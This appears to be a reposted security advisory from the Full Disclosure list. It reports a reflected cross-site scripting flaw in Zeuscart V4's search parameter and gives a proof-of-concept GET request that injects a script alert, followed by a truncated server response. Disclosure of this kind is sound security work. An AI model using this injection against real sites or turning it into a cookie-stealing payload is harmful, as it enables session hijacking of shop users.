[FD] Cross-Site Scripting | Zeuscart V4

#Vulnerability: Cross-Site Scripting #Vendor: http://www.zeuscart.com #Download link: http://ift.tt/1Q1sTaB #Affected version: Zeuscart V4 #CVSS v3.0 Vector: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N #Condition: The attack is performed by an "Anonymous User" #Payload: "-->#Fix version: N/A #Author: Dang Quoc Thai – thai.q.dang@itas.vn và ITAS Team ::PROOF OF CONCEPT:: + REQUEST GET /index.php?do=search&search=%22--%3E%3CScRipt%3Ealert(/ITASVN/)%3C/ScRipT%3E HTTP/1.1 Host: demo.target.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://ift.tt/1l5hCtj Cookie: PHPSESSID=0f9ce01d2822471dee23af07947e9074 Connection: keep-alive +RESPONSE HTTP/1.1 200 OK Date: Mon, 02 Nov 2015 02:21:55 GMT Server: Apache/2.2.29 (Unix) mod_ssl/2.2.29 OpenSSL/1.0.1e-fips mod_bwlimited/1.4 X-Powered-By: PHP/5.3.29 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html Content-Length: 25032 ...

" onclick="searchitem();"> 

Shopping Cart - 0 Items

Source: Gmail -> IFTTT-> Blogger